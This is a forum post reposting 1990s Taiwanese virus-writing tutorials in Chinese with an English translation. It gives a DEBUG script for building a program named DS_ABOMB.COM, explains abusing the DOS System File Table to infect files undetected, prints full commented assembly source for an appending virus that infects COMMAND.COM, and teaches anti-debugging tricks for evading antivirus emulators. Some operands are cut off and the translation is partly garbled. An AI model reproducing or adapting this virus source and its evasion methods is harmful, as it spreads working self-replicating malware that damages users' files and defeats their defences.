|
KKIILDL
初级用户
 
积分 48
发帖 32
注册 2007-2-28
状态 离线
|
『楼 主』:
病毒库(喜欢病毒的,快来看看把)
使用 LLM 解释/回答一下
────────── 版务记录 ──────────
执行:namejm
说明:该帖转移自 DOS批处理 & 脚本技术(批处理室)
────────── 版务记录 ──────────
大家来研究研究!
一、将资料存盘。(只有这些而已喔!) ───────┐
二、使用DEBUG < FileName.xxx(文件名称) │
三、即可产生一个执行档案。 │
│
N DS_ABOMB.COM ←┤
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │
. │
. │
. │
RCX │
02DD │
W │
Q ←┘
◎系统档案表格(SFT) ◎
by Dark Slayer of TPVO
==========================================================================
嗨!我是DS,由于我住在学校宿舍,但是一个礼拜会回来一次,所以我每个礼拜
都会写一些技术数据给各位成员,希望大家好好努力,欢迎写信和我讨论,但是我一
个礼拜只能回来回一次信,抱歉啰...
这次我要讲的是SFT (System File Table,系统档案表格) 的应用。
当我们用DOS 的File Handle 来读写档案时,有没有人想过它的原理,假设一开
始档案指标指向档案开头,我们读取或写入这个档案后会改变它的指标,是否有人想
过它将这个指针值记录在哪里? 如果我们写入一个档案,DOS 如何能得知在关档时怎
样更改此文件的目录? 关于这一切档案处理的数据都记录在SFT 之中,oh... yeah...
SFT!!!是写毒者的强力工具,深入了解SFT 并且应用在您的病毒之中,将会使您的毒
变的更强,事实上... 早在DOS 3.3 的时代就已经有人利用SFT 来写毒了,他就是保
加利亚的毒王Dark Avenger,国外使用SFT 的技术很久了,但是我们国内的病毒作者
却很少有人懂的去利用SFT(我例外啦... 呵呵呵...)OK!废话不多说... 我们赶快来
看看这样一个好东西...
DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
04h BYTE 档案属性 (参考 AH=43h,int 21h)
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
11h DWORD 档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网络机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程序段中共享录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程序之指标
看完了上面的数据后是否觉得很复杂? 或是感到兴奋? 它可是含括许多好用的东西
(或者该叫武器?!)
当我们用DOS 的AH=3Dh int 21h来开档,DOS 便为此档建立了SFT ,但是你可能会
感到疑惑! 如何取得此SFT 的地址呢? 看下面吧...
mov ax,3d02h
mov dx,offset file_name
int 21h ; 开档
xchg bx,ax
push bx ; 存 File Handle,因为底下改变了 BX
mov ax,1220h
int 2fh ; 取得工作档案表格 JFT (Job File Table)
mov ax,1216h
xor bh,bh ; bh=0
mov bl,es: ; bl=es:=JFT 的编号
int 2fh ; 取得 SFT 的地址
pop bx ; 拿回 File Handle
--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 内部使用 - 取得工作档案表格
AX = 1220h
BX = file handle
传回: CF =1 错误
AL = 6 (无效的 file handle)
CF =0 成功
ES:DI -> 在目前程序中,档案代码的 JFT (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle,or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的地址
AX = 1216h
BX = SFT 编号 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
ES:DI -> SFT 地址
CF =1,BX 大于 FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h
帅吧?!利用DOS 未公开的功能int 2Fh 来取得SFT ,事实上int 2Fh 有许多好用
的功能,以后会介绍的。
取得SFT 之后要干嘛? 嘿嘿嘿... 取得它之后,许多酷的技巧都可以靠它展现
啰,接下来完全要看各人的想象力与创意啰... 我指出几点可以利用到SFT 的地方
,其它更深入的应用以后再讲,或是你自己可以先试试看,发挥您求知的精神吧!
DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
我用3D00h 开档,再将此处改为 2,如此可以用读写模式来存取此文件,这样可
以骗过那些烂AV,因为AV以为用3D00h 开档就不可能被写入了,所以可能会不防这
招...
04h BYTE 档案属性 (参考 AH=43h,int 21h)
用3D02h 开档之前要先用4300h 得到档案属性,再用4301h 更改档案属性为非隐藏
、可擦写吗?不用啦!!呵呵... 我们只要用3D00h 开档 (如上面所讲) 再保存此
处之值,然后将它设为0,一样有相同的功能喔!
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
在写入一个档案之前要先保存它的时间和日期吗?不必啰... 感染完之后,在关档
之前将bit 14设为1 ,则关档后一样不会改变到时间和日期。
07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
Assassin病毒怎么得,要感染的档案后面剩余的cluster 有多少呢?当然是先得知
此磁盘的一个cluster 有几个扇区(sector),再拿档案长度来算即可得知如何取得
这些资料呢?当然是从DPB 啰...
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
不须用AH=57h一样可以得到档案时间与日期
11h DWORD 档案大小
不须用AX=4202h,CX=DX=0,int 21h 一样可以得到档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
直接更改这边的值和用AH=42h int 21h效果是一样的
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网络机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程序段中共享录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程序之指标
OK!我就拿以前病毒教学Lesson one 的那只小毒来改造,示范如何使用SFT改
造的部份我用小写的指令。
=================(Lesson one - new)==========================================
LESSON_1 SEGMENT
ASSUME CS:LESSON_1,DS:LESSON_1
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘
VIR_START: ; 此处才是真正病毒程序的开端
CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值
; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变量无法定位,所以我们要得知偏移了多少
; 下面程序只要牵涉到和内存寻址有关的部份,都会加上 偏移值
MOV AX,WORD PTR DS:FIRST_3_BYTE ; ┬> 恢复内存中,原
MOV DS:,AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE ; │ 改过的 3 BYTES
MOV DS:,AL ; ┘
; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处
mov ax,3D00h ; open file for read only
LEA DX,FILE_NAME ; DS:DX 指向要开的档名
INT 21h ; 呼叫中断
; 开档成功后,传回 AX=档案代码 (FILE HANDLE)
MOV BX,AX ; BX = AX = FILE HANDLE
push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es: ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX
mov word ptr es:,2 ; file mode = 2 (read/write)
mov al,es: ; AL=file attribute
push ax ; save AX
mov byte ptr es:,0 ; set file attribute to zero
MOV AH,3Fh ; 读档案
MOV CX,3 ; 读取 3 BYTES
LEA DX,FIRST_3_BYTE ; DS:DX 指向放数据的地址
INT 21h ; 呼叫中断
; 这个动作是读取档案开头的 3 BYTES 到 FIRST_3_BYTE,保存起来
; MOV AX,4202h ; 移动档案指标 (从档尾算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0 ,从档尾移动 0 BYTES
; INT 21h ; 呼叫中断
mov ax,es: ; AX=file length
mov es:,ax ; set access point to file end
; 因为是 .com 档,小于 64K,
; 所以只处里低字组就可以了
; 这个动作是把档案读写指标移到档尾,而由 DX:AX (DX = HIGH,CX = LOW) 传回
; 移动后的指标对于档头的距离,所以此时 DX = 0 (COM 档小于 64K),AX = 档案
; 长度
SUB AX,3 ; 计算出 JMP 的偏移值
MOV WORD PTR DS:JMP_BYTE,AX ; 保存偏移值
; 这个动作是计算要从档头 JMP 至文件尾 (病毒码开端) 所需的偏移
MOV AH,40h ; 写档案
MOV CX,VIR_SIZE ; CX = 病毒长度
LEA DX,VIR_START ; DS:DX 指向病毒程序开端
INT 21h ; 呼叫中断
; 这个动作是把病毒本体写入档案,由于上个动作已经把档案指标移到档尾,所以
; 这次的写入是从档尾开始,也就是说把病毒体串接在文件尾
; MOV AX,4200h ; 移动档案指标 (从档头算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0,从档头移动 0 BYTES
; INT 21h ; 呼叫中断
mov word ptr es:,0
; 这个动作是把档案读写指标移到档头,以便修改档头前 3 BYTES
MOV AH,40h ; 写档案
MOV CX,3 ; 写入 3 BYTES
LEA DX,JMP_BYTE ; DS:DX 指向 JMP 的程序代码
INT 21h ; 呼叫中断
; 这个动作是把我们原先所记算的 JMP 码写到档头前 3 BYTES,如此一来程序一执
; 行就会跳至病毒程序开端
pop ax ; AX=file attribute
mov es:,al ; restore file attribute
or word ptr es:,0100000000000000b
; 关档时不要改变时间和日期
MOV AH,3Eh ; 关档案
INT 21h ; 呼叫中断
push cs
pop es ; 因为取SFT 而改变了 es
MOV AX,100h ; AX = 100h (COM 文件一开始执行的地址)
PUSH AX ; PUSH 给下个 RET 指令的值
RET ; RET 到 100h
; 因为病毒该做的是都做完了,所以返回 100h 去执行原档案
FILE_NAME DB 'C:\COMMAND.COM',0
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程序结束)
JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX
MSG DB 'This is virus by Dark Slayer'
DB ' in Keelung, Taiwan <R.O.C> of TPVO'
VIR_SIZE EQU $-OFFSET VIR_START
LESSON_1 ENDS
END START
嗨!今番要跟大家研究一些反追踪的技巧... 虽然这跟病毒没有很直接的关系
,但能够让一些 AV 被耍的团团转也蛮好玩的...
早期的人在防别人 debug 的时候,不是当掉 int 1h 、int 3h 不然就是将键
盘锁住,这样一来就没办法再 trace 。虽然这些方法不见得有多大的高明,但她
终究也达到防 trace 的目的... 随着一些工具的诞生,这些方法都已不能再做到
踪的要求... 于是... 嘻!各种稀奇古怪的方法也接二连三的被挖掘出来了!而我
反追写这篇的目的,就是将她来个总整理... 这也是我目前的职责所在... :_)
************************
1) 使用一些特殊的指令???
************************
我们首先要找一些比较特别的指令来放入我们的病毒内,这样一来就可让一些
AV无法追下去,如此你就可以达到反追踪的目的... 我们就拿TBAV中的TBCLEAN 来
开刀吧... (喔!这是一个免费的 AV )
C:\TBAV>debug
-a100
xxxx:xxxx LOCK ; 这道指令 TBCLEAN 是没法仿真的!为什么呢?
xxxx:xxxx int 20h ; 可能该作者有特别的理由吧...
xxxx:xxxx <Enter>
-n test.com
rcx
:3
-w
-q
C:TBAV>tbclean test.com
除了这个指令外,尚有 ENTER 、LEAVE 、PUSH ??h 、PUSH ????h ...
当然啦!不只这些指令可用... 你可以去试试看一些 *not used* 的指令!!!
再来就是 87 指令... 据目前我所看到的 AV 中,没一套是能够模拟这些算数
运算器的指令... (除了 PTAV 之外... 是为了解我的第一只多形而加的... 嘻!)
当然你也可以试试 TBCLEAN 看可以不可以模拟!这个答案是否定的... 因为只要
是他不认识的指令!都可达到反追踪的目的,这样说你应该可以了解吧! :_)
除了以上提到的指令之外!我们还可以使用一些奇特的指令??嘻!这要感谢
DS给我一些建议...
1) D6h (Set AL to carry)
如果 CF=1 的话,AL 就被设为 FFh!
如果 CF=h 的话,AL 就被设为 00h!
2) F1h
这道指令在 ICE 当中!被做为断点... 跟 debug 中的 int 3h 有相同的
用途...
************
2) 硬体&中断
************
1) int 00h (除 0 错误)
...
xor ax,ax
mov ds,ax
push word ptr ds:
push word ptr ds:
mov ds:,cs
mov ax,OFFSET int0_jmp
mov ds:,ax
xor ax,ax
div ax ; 因为 ax:=0000h 而 ax 除以 ax 而触发
int 20h ; int 0h 中断... 使程序转到 int0_jmp !
... ; 而不是执行 int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:
pop word ptr ds:
...
这个方法我原先是加在 GCAE v2.0 中,没想到后来我的朋友传给我一些杂志中
,居然有相同的方法,可见外国的技术一直比我国强,因此大家要加油啰...
在以前没有一个 CPU 指令仿真可追得下去的... (除了新版的 PTAV之外...)
类似这种方法,还有int 5h(与bound有关)、int 6h(非法指令中断)、int 7h
、int 0dh ... 有兴趣自行去研究吧... (哇! 我好堕落喔...) :_)
2) int 02h (不可屏蔽中断)
...
xor ax,ax
mov ds,ax
push word ptr ds:
push word ptr ds:
mov ds:,cs
mov ax,OFFSET int0_jmp
mov ds:,ax
int 75h ; 为何要呼叫 int 75h 呢??嘻!跟据
int 20h ; 我的观察... 这个中断里有一道 int 02h!
... ; 因此... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:
pop word ptr ds:
...
嘻!这个方法我打算用在我的下一版变体引擎中... 到目前为止,没一个可以模
拟啦 (我用过 TBAV 试的...) !
此外... 还可用 I/O port 来引发 int 2h 中断,有兴趣的可以去研究看看...
port: 61h 、70h ...
***************
3) CPU 指令队列
***************
咦?队列?没听过?没错... 起初我也不知道她的原理!但我现在之知道啰...
多亏高人指点!又加上我的聪明才智... (哈!好像有点臭屁...)
mov ah,09h
mov word ptr ds:,OFFSET msg2 ;*
reg_dx:
mov dx,OFFSET msg1
int 21h
int 20h
msg1 db 'Fuck the Mad Satan! Shit!','$'
msg2 db 'Oh! Zhuge ... You are great!!!','$'
嗯!在 debug 下追的时后,所得到的是 msg2 ... 但在 DOS 下却是 msg1
怎样?够好玩吧... 为什么会产生这种情况呢??这是因为 Intel的CPU 在执行
时会连下几个指令都一起加载... (可能是比较省时吧!!)而此时星号执行后,
在程序中虽然mov dx,OFFSET msg1被替换成mov dx,OFFSET msg2,但在 CPU当中
确没改变,照成执行的结果是 msg1 !!当然啦!如果在星号后有加个jmp 或是
call的话,这种现象就不会发生了!这样应该了解这个跟反追踪什么关系吧!还
可以用这个方法来改变程序流程哦...
────────── Moderation Record ──────────
Performed by: namejm
Description: This post was transferred from DOS Batch & Script Technology (Batch Processing Room)
────────── Moderation Record ──────────
Let's study together!
I. Save the data. (That's all for now!) ───────┐
II. Use DEBUG < FileName.xxx (file name) │
III. An executable file can be generated. │
│
N DS_ABOMB.COM ←┤
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │
. │
. │
. │
RCX │
02DD │
W │
Q ←┘
◎System File Table (SFT) ◎
by Dark Slayer of TPVO
==========================================================================
Hi! I'm DS. Since I live in school dormitory but come back once a week, so I write some technical data for you members every week. Hope you work hard. Welcome to write to me to discuss, but I can only reply once a week. Sorry...
This time I'm going to talk about the application of SFT (System File Table).
When we use DOS's File Handle to read and write files, has anyone ever thought about its principle? Suppose the file pointer initially points to the beginning of the file. After we read or write this file, it changes the pointer. Has anyone ever thought about where it records this pointer value? If we write to a file, how does DOS know how to change the directory of this file when closing it? All the data related to file processing is recorded in the SFT. oh... yeah... SFT!!! It's a powerful tool for virus writers. In-depth understanding of SFT and its application in your virus will make your virus stronger. In fact... As early as the era of DOS 3.3, someone used SFT to write viruses. He is the Bulgarian virus king Dark Avenger. Foreigners have used SFT technology for a long time, but few virus authors in our country know how to use SFT (I'm an exception... hehehe...) OK! Enough of the nonsense... Let's quickly take a look at such a good thing...
SFT format in DOS 4.0-6.2 (taken from INTRLIST, translated by me)
Offset Size Description
00h WORD Number of handles referring to this file
02h WORD File open mode (refer to AH=3Dh, int 21h)
If this file is opened using FCB, bit 15=1
04h BYTE File attribute (refer to AH=43h, int 21h)
05h WORD Device information (refer to AX=4400h, int 21h)
bit 15=1 indicates this file is remote (on the network)
bit 14=1 Do not set the file's date and time when closing
bit 7 1: device, 0: file
bit 6 =1 The file has not been written yet
bits 5~0 When bit 7=1, the disk drive number (0=A:, 1=B: ...)
When bit 7=0, it's device information
07h DWORD If it's a character device, this is a pointer to the device driver header
Otherwise, this is a pointer to the DOS disk parameter block (DPB)
(refer to AH=32h, int 21h)
0Bh WORD Starting cluster of the file
0Dh WORD File time (refer to AH=57h, int 21h)
0Fh WORD File date (refer to AH=57h, int 21h)
11h DWORD File size
15h DWORD File read/write pointer (refer to AH=42h, int 21h)
19h WORD Relative cluster number of the last accessed cluster
1Bh DWORD Sector number of the directory entry of this file (can be directly read/written using int 25h/26h)
1Fh BYTE Number of directories that can fit in one sector
20h 11 BYTEs FCB format file name (no path, no dot '.', remaining space filled with blank space (ASCII code 20h)
2Bh DWORD (SHARE.EXE) Pointer to the previous SFT sharing the same file
2Fh WORD (SHARE.EXE) Network machine number that opened the file
31h WORD PSP segment of the file owner, AUX/CON/PRN point to IO.SYS
33h WORD (SHARE.EXE) Offset in the SHARE segment for the shared record
0000h=No SHARE
35h WORD Absolute cluster number of the last accessed cluster
37h DWORD Pointer to the IFS driver
After seeing the above data, do you find it complicated? Or feel excited? It contains many useful things (or should we call them weapons?!)
When we use DOS's AH=3Dh int 21h to open a file, DOS creates an SFT for this file. But you may be confused! How to get the address of this SFT? Look below...
mov ax,3d02h
mov dx,offset file_name
int 21h ; Open file
xchg bx,ax
push bx ; Save File Handle, because BX is changed below
mov ax,1220h
int 2fh ; Get Job File Table (JFT)
mov ax,1216h
xor bh,bh ; bh=0
mov bl,es: ; bl=es:=JFT number
int 2fh ; Get SFT address
pop bx ; Get back File Handle
--------D-2F1220-----------------------------
INT 2F U - Internal use in DOS 3+ - Get Job File Table
AX = 1220h
BX = file handle
Return: CF =1 error
AL = 6 (invalid file handle)
CF =0 success
ES:DI -> In the current program, JFT of the file code (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the file handle, or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - Internal use in DOS 3+ - Get SFT address
AX = 1216h
BX = SFT number (i.e., the JFT obtained using AX=1220h int 2Fh)
Return: CF =0 success
ES:DI -> SFT address
CF =1, BX > FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h
Cool?! Use DOS's undocumented function int 2Fh to get SFT. In fact, int 2Fh has many useful functions, which will be introduced later.
After getting SFT, what to do? Hehe... After getting it, many cool tricks can be shown with it. Next, it all depends on everyone's imagination and creativity... I point out a few places where SFT can be used. Other in-depth applications will be discussed later, or you can try it yourself to exert your spirit of seeking knowledge.
SFT format in DOS 4.0-6.2 (taken from INTRLIST, translated by me)
Offset Size Description
00h WORD Number of handles referring to this file
02h WORD File open mode (refer to AH=3Dh, int 21h)
If this file is opened using FCB, bit 15=1
I opened the file with 3D00h, then changed this to 2. In this way, I can access this file in read-write mode. This can deceive those bad AVs, because AV thinks that if it's opened with 3D00h, it can't be written, so it may not guard against this trick...
04h BYTE File attribute (refer to AH=43h, int 21h)
Before opening the file with 3D02h, I should first use 4300h to get the file attribute, then use 4301h to change the file attribute to non-hidden and writable? No need!! Hehe... We just open the file with 3D00h (as mentioned above), then save the value here, and then set it to 0. It has the same function.
05h WORD Device information (refer to AX=4400h, int 21h)
bit 15=1 indicates this file is remote (on the network)
bit 14=1 Do not set the file's date and time when closing
bit 7 1: device, 0: file
bit 6 =1 The file has not been written yet
bits 5~0 When bit 7=1, the disk drive number (0=A:, 1=B: ...)
When bit 7=0, it's device information
Do I need to save the time and date of the file before writing to it? No need!! After infecting, before closing the file, set bit 14 to 1, then the time and date won't be changed after closing.
07h DWORD If it's a character device, this is a pointer to the device driver header
Otherwise, this is a pointer to the DOS disk parameter block (DPB)
(refer to AH=32h, int 21h)
How does the Assassin virus get it? How many remaining clusters are there in the file to be infected? Of course, first know how many sectors are in one cluster of this disk, then calculate it with the file length. How to get these data? Of course, from DPB.
0Bh WORD Starting cluster of the file
0Dh WORD File time (refer to AH=57h, int 21h)
0Fh WORD File date (refer to AH=57h, int 21h)
I can get the file time and date without using AH=57h.
11h DWORD File size
I can get the file size without using AX=4202h, CX=DX=0, int 21h.
15h DWORD File read/write pointer (refer to AH=42h, int 21h)
Directly changing this value has the same effect as using AH=42h int 21h.
19h WORD Relative cluster number of the last accessed cluster
1Bh DWORD Sector number of the directory entry of this file (can be directly read/written using int 25h/26h)
1Fh BYTE Number of directories that can fit in one sector
20h 11 BYTEs FCB format file name (no path, no dot '.', remaining space filled with blank space (ASCII code 20h)
2Bh DWORD (SHARE.EXE) Pointer to the previous SFT sharing the same file
2Fh WORD (SHARE.EXE) Network machine number that opened the file
31h WORD PSP segment of the file owner, AUX/CON/PRN point to IO.SYS
33h WORD (SHARE.EXE) Offset in the SHARE segment for the shared record
0000h=No SHARE
35h WORD Absolute cluster number of the last accessed cluster
37h DWORD Pointer to the IFS driver
OK! I'll take the little virus from the previous virus teaching Lesson one to transform it, and demonstrate the part transformed using SFT with lowercase instructions.
=================(Lesson one - new)==========================================
LESSON_1 SEGMENT
ASSUME CS:LESSON_1,DS:LESSON_1
ORG 100h
START:
NOP ; ┐
NOP ; ├> Reserve 3 BYTES of space
NOP ; ┘
VIR_START: ; This is the real beginning of the virus program
CALL LOCATE ; Can be thought of as PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; Subtract the excess value, at this time SI=offset value
; Since this virus is attached to the back of the file, and the size of the infected file is different, so the offset of the virus attached to the back of the file will also be uncertain, which will cause variables to be unable to be located. So we need to know how much it has been offset
; The following program, as long as it involves parts related to memory addressing, will add offset value
MOV AX,WORD PTR DS:FIRST_3_BYTE ; ┬> Restore in memory, original
MOV DS:,AX ; │ File header, modified by virus
MOV AL,DS:FIRST_3_BYTE ; │
MOV DS:,AL ; ┘
; Because when this virus is executed for the first time, it hasn't infected the file before, and when restoring these 3 BYTES, it will overwrite the virus itself. So at the beginning, I added 3 NOPs to leave this space, and VIR_START is the real beginning of the virus code
mov ax,3D00h ; open file for read only
LEA DX,FILE_NAME ; DS:DX points to the file name to be opened
INT 21h ; Call interrupt
; After the file is opened successfully, AX=file handle (FILE HANDLE) is returned
MOV BX,AX ; BX = AX = FILE HANDLE
push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es: ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX
mov word ptr es:,2 ; file mode = 2 (read/write)
mov al,es: ; AL=file attribute
push ax ; save AX
mov byte ptr es:,0 ; set file attribute to zero
MOV AH,3Fh ; Read file
MOV CX,3 ; Read 3 BYTES
LEA DX,FIRST_3_BYTE ; DS:DX points to the address to store data
INT 21h ; Call interrupt
; This action is to read the first 3 BYTES of the file into FIRST_3_BYTE and save it
; MOV AX,4202h ; Move file pointer (from the end of the file)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0, move 0 BYTES from the end of the file
; INT 21h ; Call interrupt
mov ax,es: ; AX=file length
mov es:,ax ; set access point to file end
; Since it's a .com file, less than 64K,
; so only the low word group needs to be processed
; This action is to move the file read/write pointer to the end of the file, and DX:AX (DX = HIGH, CX = LOW) returns the distance from the beginning of the file to the moved pointer. So at this time DX = 0 (COM file less than 64K), AX = file length
SUB AX,3 ; Calculate the offset of JMP
MOV WORD PTR DS:JMP_BYTE,AX ; Save the offset value
; This action is to calculate the offset required to JMP from the beginning of the file to the beginning of the virus code (end of the file)
MOV AH,40h ; Write file
MOV CX,VIR_SIZE ; CX = virus length
LEA DX,VIR_START ; DS:DX points to the beginning of the virus program
INT 21h ; Call interrupt
; This action is to write the virus body into the file. Since the previous action has moved the file pointer to the end of the file, this write is from the end of the file, that is, concatenate the virus body at the end of the file
; MOV AX,4200h ; Move file pointer (from the beginning of the file)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0, move 0 BYTES from the beginning of the file
; INT 21h ; Call interrupt
mov word ptr es:,0
; This action is to move the file read/write pointer to the beginning of the file to modify the first 3 BYTES of the file header
MOV AH,40h ; Write file
MOV CX,3 ; Write 3 BYTES
LEA DX,JMP_BYTE ; DS:DX points to the JMP program code
INT 21h ; Call interrupt
; This action is to write the JMP code we calculated to the first 3 BYTES of the file header. In this way, when the program is executed, it will jump to the beginning of the virus program
pop ax ; AX=file attribute
mov es:,al ; restore file attribute
or word ptr es:,0100000000000000b
; Do not change the time and date when closing the file
MOV AH,3Eh ; Close file
INT 21h ; Call interrupt
push cs
pop es ; Because getting SFT has changed es
MOV AX,100h ; AX = 100h (the initial execution address of the COM file)
PUSH AX ; PUSH the value for the next RET instruction
RET ; RET to 100h
; Since the virus has done what it should do, return to 100h to execute the original file
FILE_NAME DB 'C:\COMMAND.COM',0
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (program end)
JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX
MSG DB 'This is virus by Dark Slayer'
DB ' in Keelung, Taiwan <R.O.C> of TPVO'
VIR_SIZE EQU $-OFFSET VIR_START
LESSON_1 ENDS
END START
Hi! This time I'm going to study some anti-tracking techniques... Although this is not directly related to viruses, it's fun to make some AVs confused...
In the early days, when people prevented others from debugging, they either crashed int 1h, int 3h or locked the keyboard. In this way, they couldn't trace anymore. Although these methods are not very clever, they eventually achieved the purpose of preventing tracing... With the birth of some tools, these methods can no longer meet the requirements of tracing... So... Hee! All kinds of strange methods have been dug out one after another! And the purpose of me writing this anti-trace is to summarize them... This is also my current responsibility... :_)
************************
1) Use some special instructions???
************************
We first need to find some relatively special instructions to put into our virus. In this way, some AVs can't trace下去, and you can achieve the purpose of anti-tracking... Let's take TBCLEAN in TBAV as an example... (Oh! This is a free AV)
C:\TBAV>debug
-a100
xxxx:xxxx LOCK ; This instruction TBCLEAN can't be emulated! Why?
xxxx:xxxx int 20h ; Maybe the author has a special reason...
xxxx:xxxx <Enter>
-n test.com
rcx
:3
-w
-q
C:TBAV>tbclean test.com
In addition to this instruction, there are ENTER, LEAVE, PUSH ??h, PUSH ????h...
Of course! It's not just these instructions that can be used... You can go and try some *not used* instructions!!!
Next is the 87 instruction... According to what I've seen so far, no AV can simulate these arithmetic coprocessor instructions... (Except PTAV... It's added to understand my first polymorphic... Hee!) Of course you can also try TBCLEAN to see if it can be simulated! The answer is no... Because as long as it's an instruction it doesn't recognize! It can achieve the purpose of anti-tracking. I think you should understand this! :_)
In addition to the instructions mentioned above! We can also use some strange instructions? Hee! Thanks to DS for giving me some suggestions...
1) D6h (Set AL to carry)
If CF=1, AL is set to FFh!
If CF=h, AL is set to 00h!
2) F1h
This instruction is in ICE! Used as a breakpoint... Has the same purpose as int 3h in debug...
************
2) Hardware & Interrupts
************
1) int 00h (Divide by 0 error)
...
xor ax,ax
mov ds,ax
push word ptr ds:
push word ptr ds:
mov ds:,cs
mov ax,OFFSET int0_jmp
mov ds:,ax
xor ax,ax
div ax ; Because ax:=0000h and ax divided by ax triggers
int 20h ; int 0h interrupt... Makes the program jump to int0_jmp!
... ; Instead of executing int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:
pop word ptr ds:
...
I originally added this method to GCAE v2.0. Unexpectedly, some magazines my friend sent me later had the same method. It shows that foreign technology has always been stronger than ours. So everyone should work hard...
In the past, there was no CPU instruction emulation that could trace下去... (Except the new version of PTAV...)
